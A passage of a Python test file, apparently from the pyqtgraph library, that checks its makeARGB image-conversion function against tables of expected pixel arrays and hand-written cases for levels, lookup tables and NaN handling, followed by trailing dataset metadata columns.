[[175, 255, 216, 90], [42, 76, 23, 172], [64, 65, 205, 254], [0, 255, 148, 117]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "SIMPLE", None, None, False): np.array(
[
[[5, 159, 248, 0], [151, 237, 217, 255], [57, 203, 102, 44], [73, 177, 244, 196]],
[[17, 189, 29, 250], [84, 188, 168, 208], [144, 134, 198, 81], [210, 209, 208, 126]],
[[80, 212, 8, 241], [128, 153, 159, 236], [7, 0, 0, 0], [61, 140, 249, 88]],
[[216, 255, 175, 90], [23, 76, 42, 172], [205, 65, 64, 254], [148, 255, 0, 117]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "SIMPLE", None, 232, True): np.array(
[
[[225, 145, 5, 0], [197, 215, 138, 255], [93, 185, 51, 40], [222, 161, 66, 178]],
[[26, 172, 15, 227], [153, 171, 76, 189], [181, 122, 131, 73], [189, 190, 191, 114]],
[[7, 193, 73, 219], [144, 139, 116, 215], [0, 0, 6, 0], [227, 127, 55, 80]],
[[159, 255, 197, 82], [38, 69, 21, 157], [58, 59, 186, 231], [0, 232, 134, 107]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "SIMPLE", None, 232, False): np.array(
[
[[5, 145, 225, 0], [138, 215, 197, 255], [51, 185, 93, 40], [66, 161, 222, 178]],
[[15, 172, 26, 227], [76, 171, 153, 189], [131, 122, 181, 73], [191, 190, 189, 114]],
[[73, 193, 7, 219], [116, 139, 144, 215], [6, 0, 0, 0], [55, 127, 227, 80]],
[[197, 255, 159, 82], [21, 69, 38, 157], [186, 59, 58, 231], [134, 232, 0, 107]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "SIMPLE", None, 13333, True): np.array(
[
[[255, 255, 255, 0], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 255, 0], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "SIMPLE", None, 13333, False): np.array(
[
[[255, 255, 255, 0], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 0, 0, 0], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 0, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "SIMPLE", np.uint8, None, True): np.array(
[
[[255, 0, 0, 0], [0, 0, 0, 255], [255, 0, 0, 255], [255, 0, 0, 255]],
[[0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 0], [255, 0, 255, 255]],
[[255, 255, 255, 0], [0, 0, 255, 255], [255, 255, 0, 0], [0, 255, 0, 255]],
[[0, 255, 255, 255], [255, 255, 0, 255], [255, 0, 0, 255], [255, 255, 255, 0]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "SIMPLE", np.uint8, None, False): np.array(
[
[[0, 0, 255, 0], [0, 0, 0, 255], [0, 0, 255, 255], [0, 0, 255, 255]],
[[0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 0], [255, 0, 255, 255]],
[[255, 255, 255, 0], [255, 0, 0, 255], [0, 255, 255, 0], [0, 255, 0, 255]],
[[255, 255, 0, 255], [0, 255, 255, 255], [0, 0, 255, 255], [255, 255, 255, 0]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "SIMPLE", np.uint8, 232, True): np.array(
[
[[0, 0, 0, 0], [0, 0, 255, 255], [0, 0, 0, 255], [255, 0, 255, 255]],
[[255, 255, 0, 0], [0, 0, 255, 0], [0, 255, 0, 0], [0, 255, 0, 255]],
[[0, 0, 0, 0], [255, 0, 255, 0], [255, 255, 255, 0], [0, 0, 0, 255]],
[[0, 255, 0, 255], [255, 0, 0, 0], [255, 0, 255, 0], [255, 255, 255, 0]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "SIMPLE", np.uint8, 232, False): np.array(
[
[[0, 0, 0, 0], [255, 0, 0, 255], [0, 0, 0, 255], [255, 0, 255, 255]],
[[0, 255, 255, 0], [255, 0, 0, 0], [0, 255, 0, 0], [0, 255, 0, 255]],
[[0, 0, 0, 0], [255, 0, 255, 0], [255, 255, 255, 0], [0, 0, 0, 255]],
[[0, 255, 0, 255], [0, 0, 255, 0], [255, 0, 255, 0], [255, 255, 255, 0]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "SIMPLE", np.uint8, 13333, True): np.array(
[
[[255, 255, 255, 0], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "SIMPLE", np.uint8, 13333, False): np.array(
[
[[255, 255, 255, 0], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "SIMPLE", np.uint16, None, True): np.array(
[
[[0, 0, 255, 0], [0, 255, 255, 0], [255, 255, 0, 255], [0, 0, 0, 255]],
[[0, 255, 0, 255], [255, 255, 0, 255], [0, 0, 255, 255], [255, 0, 0, 255]],
[[0, 0, 255, 0], [255, 0, 0, 0], [255, 255, 255, 0], [0, 255, 255, 0]],
[[255, 0, 255, 0], [255, 0, 0, 255], [255, 0, 0, 0], [255, 0, 0, 0]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "SIMPLE", np.uint16, None, False): np.array(
[
[[255, 0, 0, 0], [255, 255, 0, 0], [0, 255, 255, 255], [0, 0, 0, 255]],
[[0, 255, 0, 255], [0, 255, 255, 255], [255, 0, 0, 255], [0, 0, 255, 255]],
[[255, 0, 0, 0], [0, 0, 255, 0], [255, 255, 255, 0], [255, 255, 0, 0]],
[[255, 0, 255, 0], [0, 0, 255, 255], [0, 0, 255, 0], [0, 0, 255, 0]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "SIMPLE", np.uint16, 232, True): np.array(
[
[[255, 0, 0, 0], [0, 0, 255, 0], [255, 0, 255, 0], [255, 0, 255, 0]],
[[0, 0, 255, 0], [255, 255, 0, 255], [0, 0, 0, 0], [255, 0, 0, 255]],
[[0, 0, 0, 255], [255, 0, 0, 0], [255, 255, 255, 0], [0, 0, 0, 0]],
[[255, 0, 0, 0], [0, 255, 255, 0], [0, 0, 255, 255], [255, 0, 0, 0]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "SIMPLE", np.uint16, 232, False): np.array(
[
[[0, 0, 255, 0], [255, 0, 0, 0], [255, 0, 255, 0], [255, 0, 255, 0]],
[[255, 0, 0, 0], [0, 255, 255, 255], [0, 0, 0, 0], [0, 0, 255, 255]],
[[0, 0, 0, 255], [0, 0, 255, 0], [255, 255, 255, 0], [0, 0, 0, 0]],
[[0, 0, 255, 0], [255, 255, 0, 0], [255, 0, 0, 255], [0, 0, 255, 0]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "SIMPLE", np.uint16, 13333, True): np.array(
[
[[255, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 255], [0, 0, 255, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [255, 0, 0, 0], [0, 0, 255, 255]],
[[0, 0, 0, 0], [0, 0, 255, 255], [255, 255, 0, 0], [255, 255, 0, 0]],
[[255, 0, 0, 0], [0, 255, 0, 0], [0, 0, 0, 255], [255, 0, 0, 0]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "SIMPLE", np.uint16, 13333, False): np.array(
[
[[0, 0, 255, 0], [0, 0, 0, 0], [0, 0, 0, 255], [255, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 255, 0], [255, 0, 0, 255]],
[[0, 0, 0, 0], [255, 0, 0, 255], [0, 255, 255, 0], [0, 255, 255, 0]],
[[0, 0, 255, 0], [0, 255, 0, 0], [0, 0, 0, 255], [0, 0, 255, 0]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "RGB", None, None, True): Exception,
(np.float32, "RGBA", "RGB", None, None, False): Exception,
(np.float32, "RGBA", "RGB", None, 232, True): Exception,
(np.float32, "RGBA", "RGB", None, 232, False): Exception,
(np.float32, "RGBA", "RGB", None, 13333, True): Exception,
(np.float32, "RGBA", "RGB", None, 13333, False): Exception,
(np.float32, "RGBA", "RGB", np.uint8, None, True): Exception,
(np.float32, "RGBA", "RGB", np.uint8, None, False): Exception,
(np.float32, "RGBA", "RGB", np.uint8, 232, True): Exception,
(np.float32, "RGBA", "RGB", np.uint8, 232, False): Exception,
(np.float32, "RGBA", "RGB", np.uint8, 13333, True): Exception,
(np.float32, "RGBA", "RGB", np.uint8, 13333, False): Exception,
(np.float32, "RGBA", "RGB", np.uint16, None, True): Exception,
(np.float32, "RGBA", "RGB", np.uint16, None, False): Exception,
(np.float32, "RGBA", "RGB", np.uint16, 232, True): Exception,
(np.float32, "RGBA", "RGB", np.uint16, 232, False): Exception,
(np.float32, "RGBA", "RGB", np.uint16, 13333, True): Exception,
(np.float32, "RGBA", "RGB", np.uint16, 13333, False): Exception,
(np.float32, "RGBA", "RGBA", None, None, True): np.array(
[
[[0, 0, 0, 0], [0, 0, 0, 255], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 255, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "RGBA", None, None, False): np.array(
[
[[0, 0, 0, 0], [0, 0, 0, 255], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 255, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "RGBA", None, 232, True): np.array(
[
[[0, 0, 0, 0], [0, 0, 0, 255], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 255, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "RGBA", None, 232, False): np.array(
[
[[0, 0, 0, 0], [0, 0, 0, 255], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 255, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "RGBA", None, 13333, True): np.array(
[
[[0, 0, 1, 0], [0, 0, 31, 255], [0, 0, 11, 0], [0, 0, 15, 0]],
[[0, 0, 3, 0], [0, 0, 17, 0], [0, 0, 29, 0], [0, 0, 43, 0]],
[[0, 0, 16, 0], [0, 0, 26, 0], [0, 0, 1, 0], [0, 0, 12, 0]],
[[0, 255, 44, 0], [0, 0, 4, 0], [0, 0, 42, 0], [0, 0, 30, 0]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "RGBA", None, 13333, False): np.array(
[
[[1, 0, 0, 0], [31, 0, 0, 255], [11, 0, 0, 0], [15, 0, 0, 0]],
[[3, 0, 0, 0], [17, 0, 0, 0], [29, 0, 0, 0], [43, 0, 0, 0]],
[[16, 0, 0, 0], [26, 0, 0, 0], [1, 0, 0, 0], [12, 0, 0, 0]],
[[44, 255, 0, 0], [4, 0, 0, 0], [42, 0, 0, 0], [30, 0, 0, 0]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "RGBA", np.uint8, None, True): np.array(
[
[[255, 255, 255, 0], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "RGBA", np.uint8, None, False): np.array(
[
[[255, 255, 255, 0], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "RGBA", np.uint8, 232, True): np.array(
[
[[255, 255, 255, 0], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "RGBA", np.uint8, 232, False): np.array(
[
[[255, 255, 255, 0], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "RGBA", np.uint8, 13333, True): np.array(
[
[[255, 255, 0, 0], [255, 255, 0, 255], [255, 255, 0, 255], [255, 255, 0, 255]],
[[255, 255, 0, 255], [255, 255, 0, 255], [255, 255, 0, 255], [255, 255, 0, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 0, 0], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "RGBA", np.uint8, 13333, False): np.array(
[
[[0, 255, 255, 0], [0, 255, 255, 255], [0, 255, 255, 255], [0, 255, 255, 255]],
[[0, 255, 255, 255], [0, 255, 255, 255], [0, 255, 255, 255], [0, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 255, 255, 0], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "RGBA", np.uint16, None, True): np.array(
[
[[255, 255, 0, 0], [255, 255, 0, 0], [255, 255, 255, 255], [255, 255, 0, 255]],
[[255, 255, 0, 255], [255, 255, 0, 255], [255, 255, 0, 255], [255, 255, 0, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 0, 0], [255, 255, 0, 255]],
[[255, 0, 0, 255], [255, 255, 255, 255], [255, 255, 0, 255], [255, 255, 0, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "RGBA", np.uint16, None, False): np.array(
[
[[0, 255, 255, 0], [0, 255, 255, 0], [255, 255, 255, 255], [0, 255, 255, 255]],
[[0, 255, 255, 255], [0, 255, 255, 255], [0, 255, 255, 255], [0, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 255, 255, 0], [0, 255, 255, 255]],
[[0, 0, 255, 255], [255, 255, 255, 255], [0, 255, 255, 255], [0, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "RGBA", np.uint16, 232, True): np.array(
[
[[255, 255, 255, 0], [255, 255, 255, 0], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255]],
[[255, 0, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "RGBA", np.uint16, 232, False): np.array(
[
[[255, 255, 255, 0], [255, 255, 255, 0], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255]],
[[255, 0, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "RGBA", np.uint16, 13333, True): np.array(
[
[[255, 255, 0, 0], [255, 255, 0, 0], [255, 255, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 0, 255], [255, 255, 0, 255], [255, 255, 0, 255]],
[[255, 255, 0, 255], [255, 255, 0, 255], [255, 255, 0, 0], [255, 255, 255, 255]],
[[255, 0, 0, 255], [255, 255, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.float32, "RGBA", "RGBA", np.uint16, 13333, False): np.array(
[
[[0, 255, 255, 0], [0, 255, 255, 0], [0, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [0, 255, 255, 255], [0, 255, 255, 255], [0, 255, 255, 255]],
[[0, 255, 255, 255], [0, 255, 255, 255], [0, 255, 255, 0], [255, 255, 255, 255]],
[[0, 0, 255, 255], [0, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
}
def _error_description(output, test_case):
return (
f"'{test_case['name']}' output does not match expectations\n"
+ f"\tExpected:\n{test_case['expected_output']!r}\n\n"
+ f"\tReceived:\n{output!r}\n"
)
def _do_something_for_every_combo(func):
for dtype in [np.uint8, np.uint16, np.float32]:
for in_fmt in ["2D", "RGB", "RGBA"]:
data = INPUTS[(dtype, in_fmt)]
for levels_name in [None, "SIMPLE", "RGB", "RGBA"]:
levels = LEVELS.get(levels_name, None)
if dtype == np.float32 and levels_name is None:
continue
for lut_type in [None, np.uint8, np.uint16]:
lut = LUTS.get(lut_type, None)
for scale in [None, 232, 13333]:
for use_rgba in [True, False]:
key = (dtype, in_fmt, levels_name, lut_type, scale, use_rgba)
func(data, key, levels, lut, scale, use_rgba)
def _makeARGB(*args, **kwds):
img, alpha = real_makeARGB(*args, **kwds)
if kwds.get('useRGBA'): # endian independent
out = img
elif sys.byteorder == 'little': # little-endian ARGB32 to B,G,R,A
out = img
else: # big-endian ARGB32 to B,G,R,A
out = img[..., [3, 2, 1, 0]]
return out, alpha
def save_reference():
"""
This saves the output (or exception type) of running makeARGB for every combo of arguments. The
output isn't fit for immediate inclusion in this file as EXPECTED_OUTPUTS, and needs some replace-all
work.
"""
with open("_unformatted_expected_outputs_", "w") as tmp_file:
def write_expectation_to_file(data, key, levels, lut, scale, use_rgba):
try:
output, alpha = _makeARGB(data, lut=lut, levels=levels, scale=scale, useRGBA=use_rgba)
except Exception as e:
tmp_file.write(f"{key!r}: {type(e)}\n")
else:
tmp_file.write(f"{key!r}: {output!r},\n")
_do_something_for_every_combo(write_expectation_to_file)
def test_makeARGB_against_generated_references():
def assert_correct(data, key, levels, lut, scale, use_rgba):
expectation = EXPECTED_OUTPUTS[key]
if isinstance(expectation, type) and issubclass(expectation, Exception):
try:
_makeARGB(data, lut=lut, levels=levels, scale=scale, useRGBA=use_rgba)
except Exception as e:
assert expectation == type(e)
else:
assert False, f"makeARGB({key!r}) was supposed to raise {expectation} but didn't raise anything."
else:
output, alpha = _makeARGB(data, lut=lut, levels=levels, scale=scale, useRGBA=use_rgba)
assert (
output == expectation
).all(), f"Incorrect _makeARGB({key!r}) output! Expected:\n{expectation!r}\n Got:\n{output!r}"
_do_something_for_every_combo(assert_correct)
@pytest.mark.skipif(getCupy() is None, reason="CuPy unavailable to test")
def test_cupy_makeARGB_against_generated_references():
setConfigOption("useCupy", True)
cp = getCupy()
def assert_cupy_correct(data, key, levels, lut, scale, use_rgba):
data = cp.asarray(data)
if lut is not None:
lut = cp.asarray(lut)
expectation = EXPECTED_OUTPUTS[key]
if isinstance(expectation, type) and issubclass(expectation, Exception):
try:
_makeARGB(data, lut=lut, levels=levels, scale=scale, useRGBA=use_rgba)
except Exception as e:
assert expectation == type(e)
else:
assert False, f"makeARGB({key!r}) was supposed to raise {expectation} but didn't raise anything."
else:
expectation = cp.asarray(expectation)
output, alpha = _makeARGB(data, lut=lut, levels=levels, scale=scale, useRGBA=use_rgba)
assert (
output == expectation
).all(), f"Incorrect _makeARGB({key!r}) output! Expected:\n{expectation!r}\n Got:\n{output!r}"
_do_something_for_every_combo(assert_cupy_correct)
def test_makeARGB_with_human_readable_code():
# Many parameters to test here:
# * data dtype (ubyte, uint16, float, others)
# * data ndim (2 or 3)
# * levels (None, 1D, or 2D)
# * lut dtype
# * lut size
# * lut ndim (1 or 2)
# * useRGBA argument
# Need to check that all input values map to the correct output values, especially
# at and beyond the edges of the level range.
def checkArrays(a, b):
# because py.test output is difficult to read for arrays
if not np.all(a == b):
comp = []
for i in range(a.shape[0]):
if a.shape[1] > 1:
comp.append('[')
for j in range(a.shape[1]):
m = a[i, j] == b[i, j]
comp.append('%d,%d %s %s %s%s' %
(i, j, str(a[i, j]).ljust(15), str(b[i, j]).ljust(15),
m, ' ********' if not np.all(m) else ''))
if a.shape[1] > 1:
comp.append(']')
raise Exception("arrays do not match:\n%s" % '\n'.join(comp))
def checkImage(img, check, alpha, alphaCheck):
assert img.dtype == np.ubyte
assert alpha is alphaCheck
if alpha is False:
checkArrays(img[..., 3], 255)
if np.isscalar(check) or check.ndim == 3:
checkArrays(img[..., :3], check)
elif check.ndim == 2:
checkArrays(img[..., :3], check[..., np.newaxis])
elif check.ndim == 1:
checkArrays(img[..., :3], check[..., np.newaxis, np.newaxis])
else:
raise Exception('invalid check array ndim')
# uint8 data tests
im1 = np.arange(256).astype('ubyte').reshape(256, 1)
im2, alpha = _makeARGB(im1, levels=(0, 255))
checkImage(im2, im1, alpha, False)
im3, alpha = _makeARGB(im1, levels=(0.0, 255.0))
checkImage(im3, im1, alpha, False)
im4, alpha = _makeARGB(im1, levels=(255, 0))
checkImage(im4, 255 - im1, alpha, False)
im5, alpha = _makeARGB(np.concatenate([im1] * 3, axis=1), levels=[(0, 255), (0.0, 255.0), (255, 0)])
checkImage(im5, np.concatenate([im1, im1, 255 - im1], axis=1), alpha, False)
im2, alpha = _makeARGB(im1, levels=(128, 383))
checkImage(im2[:128], 0, alpha, False)
checkImage(im2[128:], im1[:128], alpha, False)
# uint8 data + uint8 LUT
lut = np.arange(256)[::-1].astype(np.uint8)
im2, alpha = _makeARGB(im1, lut=lut)
checkImage(im2, lut, alpha, False)
# lut larger than maxint
lut = np.arange(511).astype(np.uint8)
im2, alpha = _makeARGB(im1, lut=lut)
checkImage(im2, lut[::2], alpha, False)
# lut smaller than maxint
lut = np.arange(128).astype(np.uint8)
im2, alpha = _makeARGB(im1, lut=lut)
checkImage(im2, np.linspace(0, 127.5, 256, dtype='ubyte'), alpha, False)
# lut + levels
lut = np.arange(256)[::-1].astype(np.uint8)
im2, alpha = _makeARGB(im1, lut=lut, levels=[-128, 384])
checkImage(im2, np.linspace(191.5, 64.5, 256, dtype='ubyte'), alpha, False)
im2, alpha = _makeARGB(im1, lut=lut, levels=[64, 192])
checkImage(im2, np.clip(np.linspace(384.5, -127.5, 256), 0, 255).astype('ubyte'), alpha, False)
# uint8 data + uint16 LUT
lut = np.arange(4096)[::-1].astype(np.uint16) // 16
im2, alpha = _makeARGB(im1, lut=lut)
checkImage(im2, np.arange(256)[::-1].astype('ubyte'), alpha, False)
# uint8 data + float LUT
lut = np.linspace(10., 137., 256)
im2, alpha = _makeARGB(im1, lut=lut)
checkImage(im2, lut.astype('ubyte'), alpha, False)
# uint8 data + 2D LUT
lut = np.zeros((256, 3), dtype='ubyte')
lut[:, 0] = np.arange(256)
lut[:, 1] = np.arange(256)[::-1]
lut[:, 2] = 7
im2, alpha = _makeARGB(im1, lut=lut)
checkImage(im2, lut[:, None, ::-1], alpha, False)
# check useRGBA
im2, alpha = _makeARGB(im1, lut=lut, useRGBA=True)
checkImage(im2, lut[:, None, :], alpha, False)
# uint16 data tests
im1 = np.arange(0, 2 ** 16, 256).astype('uint16')[:, None]
im2, alpha = _makeARGB(im1, levels=(512, 2 ** 16))
checkImage(im2, np.clip(np.linspace(-2, 253, 256), 0, 255).astype('ubyte'), alpha, False)
lut = (np.arange(512, 2 ** 16)[::-1] // 256).astype('ubyte')
im2, alpha = _makeARGB(im1, lut=lut, levels=(512, 2 ** 16 - 256))
checkImage(im2, np.clip(np.linspace(257, 2, 256), 0, 255).astype('ubyte'), alpha, False)
lut = np.zeros(2 ** 16, dtype='ubyte')
lut[1000:1256] = np.arange(256)
lut[1256:] = 255
im1 = np.arange(1000, 1256).astype('uint16')[:, None]
im2, alpha = _makeARGB(im1, lut=lut)
checkImage(im2, np.arange(256).astype('ubyte'), alpha, False)
# float data tests
im1 = np.linspace(1.0, 17.0, 256)[:, None]
im2, alpha = _makeARGB(im1, levels=(5.0, 13.0))
checkImage(im2, np.clip(np.linspace(-128, 383, 256), 0, 255).astype('ubyte'), alpha, False)
lut = (np.arange(1280)[::-1] // 10).astype('ubyte')
im2, alpha = _makeARGB(im1, lut=lut, levels=(1, 17))
checkImage(im2, np.linspace(127.5, 0, 256).astype('ubyte'), alpha, False)
# nans in image
# 2d input image, one pixel is nan
im1 = np.ones((10, 12))
im1[3, 5] = np.nan
im2, alpha = _makeARGB(im1, levels=(0, 1))
assert alpha
assert im2[3, 5, 3] == 0 # nan pixel is transparent
assert im2[0, 0, 3] == 255 # doesn't affect other pixels
# 3d RGB input image, any color channel of a pixel is nan
im1 = np.ones((10, 12, 3))
im1[3, 5, 1] = np.nan
im2, alpha = _makeARGB(im1, levels=(0, 1))
assert alpha
assert im2[3, 5, 3] == 0 # nan pixel is transparent
assert im2[0, 0, 3] == 255 # doesn't affect other pixels
# 3d RGBA input image, any color channel of a pixel is nan
im1 = np.ones((10, 12, 4))
im1[3, 5, 1] = np.nan
im2, alpha = _makeARGB(im1, levels=(0, 1), useRGBA=True)
assert alpha
assert im2[3, 5, 3] == 0 # nan pixel is transparent
# test sanity checks
class AssertExc(object):
def __init__(self, exc=Exception):
self.exc = exc
def __enter__(self):
return self
def __exit__(self, *args):
assert args[0] is self.exc, "Should have raised %s (got %s)" % (self.exc, args[0])
return True
with AssertExc(TypeError): # invalid image shape
_makeARGB(np.zeros((2,), dtype='float'))
with AssertExc(TypeError): # invalid image shape
_makeARGB(np.zeros((2, 2, 7), dtype='float'))
with AssertExc(): # float images require levels arg
_makeARGB(np.zeros((2, 2), dtype='float'))
with AssertExc(): # bad levels arg
_makeARGB(np.zeros((2, 2), dtype='float'), levels=[1])
with AssertExc(): # bad levels arg
_makeARGB(np.zeros((2, 2), dtype='float'), levels=[1, 2, 3])
with AssertExc(): # can't mix 3-channel levels and LUT
_makeARGB(np.zeros((2, 2)), lut=np.zeros((10, 3), dtype='ubyte'), levels=[(0, 1)] * 3)
with AssertExc(): # multichannel levels must have same number of channels as image
_makeARGB(np.zeros((2, 2, 3), dtype='float'), levels=[(1, 2)] * 4)
with AssertExc(): # 3d levels not allowed
_makeARGB(np.zeros((2, 2, 3), dtype='float'), levels=np.zeros([3, 2, 2]))
| 52.732238
| 116
| 0.437686
| 36,852
| 237,506
| 2.816129
| 0.020216
| 0.837156
| 1.12435
| 1.3746
| 0.897639
| 0.894431
| 0.888736
| 0.864589
| 0.818501
| 0.809954
| 0
| 0.446598
| 0.309247
| 237,506
| 4,503
| 117
| 52.743948
| 0.185983
| 0.006
| 0
| 0.592576
| 0
| 0.000453
| 0.020173
| 0.000767
| 0
| 0
| 0
| 0
| 0.00679
| 1
| 0.003395
| false
| 0
| 0.001358
| 0.000453
| 0.005885
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 11
|
d4f527e630355ca41abd20295461adb79805e437
| 161
|
pyde
|
Python
|
